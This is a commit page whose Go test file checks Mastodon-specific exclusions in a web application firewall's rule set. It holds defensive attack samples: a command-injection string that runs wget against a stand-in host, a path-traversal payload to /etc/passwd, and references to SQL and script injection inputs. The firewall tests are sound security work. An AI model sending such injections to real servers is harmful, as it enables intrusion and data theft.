Core Rule Set: Mastodon's ordinary requests pass by default (closes #238)
check / check (push) Failing after 16m23s

Adds mastodon.conf, the twelfth change. On Mastodon's paths, the fields
that carry a search, a name, a title, an address or free text skip the four
rules that read them as commands or system files. These cover the API, the
admin and settings pages, sign-in, and the objects other servers deliver to
an inbox. A post's text skips 932125, 932230 and 932235 too. Uploaded file
names skip 932180, and an ActivityPub Accept header skips 920600 on account
paths. Only Mastodon's own resources under /api/v1/ and /admin/ count, since
gitea and Drupal serve those prefixes. The requests recorded from Mastodon
4.7.5 pass at the defaults and while bodies are read.

Model: opus-5-5
This commit is contained in:
clawbot committed 2026-11-10 01:14:36 +00:00
1 parent c1bb813a5e
commit 18ba1e4f99
7 files changed
+1160 -22

No files matched your search

+415
View File
@@ -0,0 +1,415 @@
package coreruleset_test
import (
"encoding/json"
"fmt"
"net/http"
"net/url"
"slices"
"testing"
)
// mastodonThreshold is SWW_WAF_ANOMALY_THRESHOLD's default.
const mastodonThreshold = 5
// mastodonStatuses is where Mastodon's apps and web app post.
const mastodonStatuses = "/api/v1/statuses"
// mastodonInbox is a Mastodon account's inbox, which other servers deliver
// to.
const mastodonInbox = "/users/admin/inbox"
// Mastodon's paths for editing a profile, for filters, for the server's
// rules and its name, for signing in, and for signing up or changing the
// password.
const (
mastodonProfile = "/api/v1/accounts/update_credentials"
mastodonFilters = "/api/v2/filters"
mastodonRules = "/admin/rules"
mastodonBranding = "/admin/settings/branding"
mastodonSignIn = "/auth/sign_in"
mastodonAccount = "/auth"
)
// Fields, as the start of a form body: a title, a comment, a password and a
// post's text.
const (
mastodonTitle = "title="
mastodonComment = "comment="
mastodonPassword = "user[password]="
mastodonStatus = "status="
)
func TestOrdinaryMastodonRequestsPass(t *testing.T) {
t.Parallel()
wantRecordedRequestsPass(t, "mastodon-requests.txt")
}
// mastodonQueryFields sends each field that skips 930120, 932120, 932250
// and 932260 in the query, on a path where it skips them, ending in "=".
//
//nolint:gochecknoglobals // a constant cannot be a list
var mastodonQueryFields = []string{
"/api/v1/accounts/search?q=",
"/api/v1/accounts/lookup?acct=",
"/api/v1/admin/accounts?username=",
"/api/v1/admin/accounts?display_name=",
"/api/v1/admin/accounts?email=",
"/api/v2/admin/accounts?origin=local&username=",
"/api/v2/admin/accounts?by_domain=",
"/admin/accounts?username=",
"/admin/accounts?display_name=",
"/admin/accounts?email=",
"/admin/instances?by_domain=",
"/admin/custom_emojis?shortcode=",
"/admin/tags?name=",
"/search?q=",
}
// mastodonSearch is Mastodon's search, ending in "=". Only its hard values
// are checked: gitea.conf's search of a repository matches it too, and lets
// attacks through there, as
// https://git.eeqj.de/sneak/smallwebwaf/issues/266 says.
//
//nolint:gochecknoglobals // a constant cannot be a list
var mastodonSearch = []string{
"/api/v2/search?q=",
"/api/v2/search?type=accounts&resolve=true&q=",
}
// mastodonBodyField is a field of a body, sent to a path with a method.
type mastodonBodyField struct{ method, target, field string }
// mastodonFormFields sends each field that skips the four rules in a form
// data body, on a path where it skips them.
//
//nolint:gochecknoglobals // a constant cannot be a list
var mastodonFormFields = []mastodonBodyField{
{http.MethodPost, mastodonStatuses, "spoiler_text="},
{http.MethodPost, mastodonStatuses, "poll[options][]="},
{http.MethodPut, "/api/v1/media/1", "description="},
{http.MethodPatch, mastodonProfile, "display_name="},
{http.MethodPatch, mastodonProfile, "note="},
{http.MethodPatch, mastodonProfile, "fields_attributes[0][name]="},
{http.MethodPatch, mastodonProfile, "fields_attributes[1][value]="},
{http.MethodPost, "/api/v1/lists", mastodonTitle},
{http.MethodPut, "/api/v1/lists/1", mastodonTitle},
{http.MethodPost, mastodonFilters, mastodonTitle},
{http.MethodPost, mastodonFilters, "keywords_attributes[][keyword]="},
{http.MethodPost, mastodonFilters, "keywords_attributes[0][keyword]="},
{http.MethodPost, mastodonFilters + "/1/keywords", "keyword="},
{http.MethodPost, "/api/v1/featured_tags", "name="},
{http.MethodPost, "/api/v1/reports", mastodonComment},
{http.MethodPost, "/api/v1/accounts/1/note", mastodonComment},
{http.MethodPost, "/api/v1/admin/accounts/1/action", "text="},
{http.MethodPost, "/api/v1/admin/domain_blocks", "private_comment="},
{http.MethodPost, "/api/v1/admin/domain_blocks", "public_comment="},
{http.MethodPost, "/api/v1/admin/ip_blocks", mastodonComment},
{http.MethodPost, "/admin/domain_blocks", "domain_block[private_comment]="},
{http.MethodPost, "/admin/domain_blocks", "domain_block[public_comment]="},
{http.MethodPost, "/admin/ip_blocks", "ip_block[comment]="},
{http.MethodPost, mastodonRules, "rule[text]="},
{http.MethodPost, mastodonRules, "rule[hint]="},
{http.MethodPost, "/admin/announcements", "announcement[text]="},
{http.MethodPost, mastodonBranding, "form_admin_settings[site_title]="},
{http.MethodPost, mastodonBranding, "form_admin_settings[site_short_description]="},
{
http.MethodPost, "/admin/settings/about",
"form_admin_settings[site_extended_description]=",
},
{http.MethodPost, "/filters", "custom_filter[title]="},
{http.MethodPost, "/filters", "custom_filter[keywords_attributes][0][keyword]="},
{http.MethodPost, "/settings/applications", "doorkeeper_application[name]="},
{http.MethodPost, "/settings/applications", "doorkeeper_application[website]="},
{http.MethodPost, "/settings/aliases", "account_alias[acct]="},
{http.MethodPost, "/settings/migration", "account_migration[acct]="},
{http.MethodPost, mastodonSignIn, mastodonPassword},
{http.MethodPost, mastodonAccount, mastodonPassword},
{http.MethodPost, mastodonAccount, "user[password_confirmation]="},
{http.MethodPost, mastodonAccount, "user[current_password]="},
}
// mastodonJSONFields sends each field that skips the four rules in a JSON
// body, on a path where it skips them, with %s for its value.
//
//nolint:gochecknoglobals // a constant cannot be a list
var mastodonJSONFields = []mastodonBodyField{
{http.MethodPost, mastodonStatuses, `{"spoiler_text":%s}`},
{http.MethodPost, mastodonStatuses, `{"poll":{"options":["Yes",%s]}}`},
{http.MethodPut, mastodonFilters + "/1", `{"title":%s}`},
{http.MethodPost, "/inbox", `{"object":{"content":%s}}`},
{http.MethodPost, mastodonInbox, `{"object":{"contentMap":{"en":%s}}}`},
{http.MethodPost, mastodonInbox, `{"object":{"summary":%s}}`},
{http.MethodPost, mastodonInbox, `{"object":{"summaryMap":{"en":%s}}}`},
{http.MethodPost, "/ap/users/1/inbox", `{"object":{"name":%s}}`},
{http.MethodPost, mastodonInbox, `{"object":{"attachment":[{"name":%s}]}}`},
{http.MethodPost, mastodonInbox, `{"object":{"attachment":[{"value":%s}]}}`},
{http.MethodPost, mastodonInbox, `{"object":{"oneOf":[{"name":%s}]}}`},
{http.MethodPost, mastodonInbox, `{"object":{"anyOf":[{"name":%s}]}}`},
}
// mastodonStatusForms and mastodonStatusJSON send a post's text, which
// skips 932125, 932230 and 932235 too: in form data, and in JSON with %s
// for its value.
//
//nolint:gochecknoglobals // a constant cannot be a list
var (
mastodonStatusForms = []mastodonBodyField{
{http.MethodPost, mastodonStatuses, mastodonStatus},
{http.MethodPut, mastodonStatuses + "/1", mastodonStatus},
}
mastodonStatusJSON = []mastodonBodyField{
{http.MethodPost, mastodonStatuses, `{"status":%s}`},
{http.MethodPut, mastodonStatuses + "/1", `{"status":%s}`},
}
)
// inspectForm returns what crs finds in value, sent in sent's form data
// field.
func inspectForm(t *testing.T, sent mastodonBodyField, value string) int {
t.Helper()
r := request{sent.method, sent.target, []string{formData}}
got, _ := inspectBody(t, readingBodies(t), r, sent.field+value)
return got.Score
}
// inspectJSON returns what crs finds in value, which is not escaped, sent
// in sent's JSON field.
func inspectJSON(t *testing.T, sent mastodonBodyField, value string) int {
t.Helper()
quoted, err := json.Marshal(value)
if err != nil {
t.Fatal(err)
}
r := request{sent.method, sent.target, []string{jsonBody}}
got, _ := inspectBody(t, readingBodies(t), r, fmt.Sprintf(sent.field, quoted))
return got.Score
}
// mastodonAttacks are an SQL injection, a path traversal and a script
// injection, as a query value.
//
//nolint:gochecknoglobals // a constant cannot be a list
var mastodonAttacks = []string{
sqlInjection,
"..%2F..%2F..%2Fetc%2Fpasswd",
scriptInjection,
}
func TestMastodonAttacksAreRefusedInTheExcludedFields(t *testing.T) {
t.Parallel()
crs := atDefaults(t)
for _, attack := range mastodonAttacks {
for _, target := range mastodonQueryFields {
got := inspect(t, crs, get(target+attack))
if got.Score < mastodonThreshold {
t.Errorf("%s%s let through: %+v", target, attack, got)
}
}
for _, sent := range slices.Concat(mastodonFormFields, mastodonStatusForms) {
if inspectForm(t, sent, attack) < mastodonThreshold {
t.Errorf("%v with %s let through", sent, attack)
}
}
value, err := url.QueryUnescape(attack)
if err != nil {
t.Fatal(err)
}
for _, sent := range slices.Concat(mastodonJSONFields, mastodonStatusJSON) {
if inspectJSON(t, sent, value) < mastodonThreshold {
t.Errorf("%v with %q let through", sent, value)
}
}
}
}
// mastodonCommandAttack is a shell command that only 932230 and 932235
// refuse on the fields that skip the four rules.
const mastodonCommandAttack = "; wget http://example.com/x.sh"
func TestMastodonCommandAttackIsRefusedOutsideAPost(t *testing.T) {
t.Parallel()
crs := atDefaults(t)
attack := url.QueryEscape(mastodonCommandAttack)
for _, target := range mastodonQueryFields {
if got := inspect(t, crs, get(target+attack)); got.Score < mastodonThreshold {
t.Errorf("%s%s let through: %+v", target, attack, got)
}
}
for _, sent := range mastodonFormFields {
if inspectForm(t, sent, attack) < mastodonThreshold {
t.Errorf("%v let through", sent)
}
}
for _, sent := range mastodonJSONFields {
if inspectJSON(t, sent, mastodonCommandAttack) < mastodonThreshold {
t.Errorf("%v let through", sent)
}
}
}
// mastodonCodePost is a post that names commands in code, as recorded.
const mastodonCodePost = "Today I learned: `ls -la ~/.config` lists hidden files, " +
"and `python3 -m http.server` serves a folder. https://example.org/notes"
func TestMastodonHardValuesPassInTheExcludedFields(t *testing.T) {
t.Parallel()
crs := readingBodies(t)
for _, value := range hardValues {
for _, target := range slices.Concat(mastodonQueryFields, mastodonSearch) {
got := inspect(t, crs, get(target+value))
if got.Score >= mastodonThreshold {
t.Errorf("%s%s refused: %+v", target, value, got)
}
}
for _, sent := range slices.Concat(mastodonFormFields, mastodonStatusForms) {
if inspectForm(t, sent, value) >= mastodonThreshold {
t.Errorf("%v with %s refused", sent, value)
}
}
unescaped, err := url.QueryUnescape(value)
if err != nil {
t.Fatal(err)
}
for _, sent := range slices.Concat(mastodonJSONFields, mastodonStatusJSON) {
if inspectJSON(t, sent, unescaped) >= mastodonThreshold {
t.Errorf("%v with %q refused", sent, unescaped)
}
}
}
code := url.QueryEscape(mastodonCodePost)
for _, sent := range mastodonStatusForms {
if inspectForm(t, sent, code) >= mastodonThreshold {
t.Errorf("%v refused", sent)
}
}
for _, sent := range mastodonStatusJSON {
if inspectJSON(t, sent, mastodonCodePost) >= mastodonThreshold {
t.Errorf("%v refused", sent)
}
}
}
// mastodonUpload is a file named .htaccess in a multipart body.
const mastodonUpload = "--b\r\nContent-Disposition: form-data; name=\"file\"; " +
"filename=\"Example .htaccess.png\"\r\n\r\nx\r\n--b--\r\n"
// mastodonActivityPub is the Accept header of a server fetching a post.
const mastodonActivityPub = `Accept: application/ld+json; ` +
`profile="https://www.w3.org/ns/activitystreams", application/activity+json`
func TestMastodonExclusionsAreNarrow(t *testing.T) {
t.Parallel()
crs := atDefaults(t)
for _, refused := range []string{
"/?q=powershell",
"/api/v2/search?other=python3",
"/api/v1/timelines/home?q=python3",
"/api/v1/admin/users?username=python3",
"/admin/people?username=python3",
"/admin/reports?username=python3",
"/search/other?q=python3",
"/x/api/v2/search?q=python3",
"/admin/accounts/1?username=python3",
} {
if got := inspect(t, crs, get(refused)); got.Score < mastodonThreshold {
t.Errorf("%s let through: %+v", refused, got)
}
}
// The Accept header of ActivityPub is still refused off the paths of
// Mastodon's accounts.
wantResult(t, crs, get("/", mastodonActivityPub), matched(920600))
wantResult(t, crs, get("/users/admin/statuses/1", mastodonActivityPub),
matched())
crs = readingBodies(t)
upload := request{
http.MethodPost, "/upload",
[]string{"Content-Type: multipart/form-data; boundary=b"},
}
got, _ := inspectBody(t, crs, upload, mastodonUpload)
if got.Score < mastodonThreshold {
t.Errorf("POST %s let through: %+v", upload.target, got)
}
for _, target := range []string{"/api/v1/media", "/api/v2/media", mastodonProfile} {
upload.target = target
got, _ := inspectBody(t, crs, upload, mastodonUpload)
if got.Score >= mastodonThreshold {
t.Errorf("POST %s refused: %+v", target, got)
}
}
// The fields are excluded only on Mastodon's paths.
for _, sent := range []mastodonBodyField{
{http.MethodPost, "/api/v1/repos/issues", mastodonTitle},
{http.MethodPost, "/user/login", mastodonPassword},
{http.MethodPost, "/comments", mastodonStatus},
} {
if inspectForm(t, sent, "python3") < mastodonThreshold {
t.Errorf("%v let through", sent)
}
}
for _, sent := range []mastodonBodyField{
{http.MethodPost, "/outbox", `{"object":{"content":%s}}`},
{http.MethodPost, mastodonInbox, `{"object":{"url":%s}}`},
} {
if inspectJSON(t, sent, "python3") < mastodonThreshold {
t.Errorf("%v let through", sent)
}
}
}
func TestMastodonBodyFieldsStayCheckedInTheQuery(t *testing.T) {
t.Parallel()
crs := readingBodies(t)
// The same field name in the query keeps the rules, in the query and
// in the body.
for _, sent := range []struct{ target, field string }{
{mastodonStatuses, mastodonStatus + "python3"},
{mastodonStatuses, "spoiler_text=python3"},
{mastodonRules, "rule[text]=python3"},
{mastodonSignIn, mastodonPassword + "python3"},
{mastodonInbox, "json.object.content=python3"},
} {
target := sent.target + "?" + sent.field
r := request{http.MethodPost, target, []string{formData}}
got, _ := inspectBody(t, crs, r, sent.field)
if got.Score < mastodonThreshold {
t.Errorf("POST %s let through: %+v", r.target, got)
}
}
}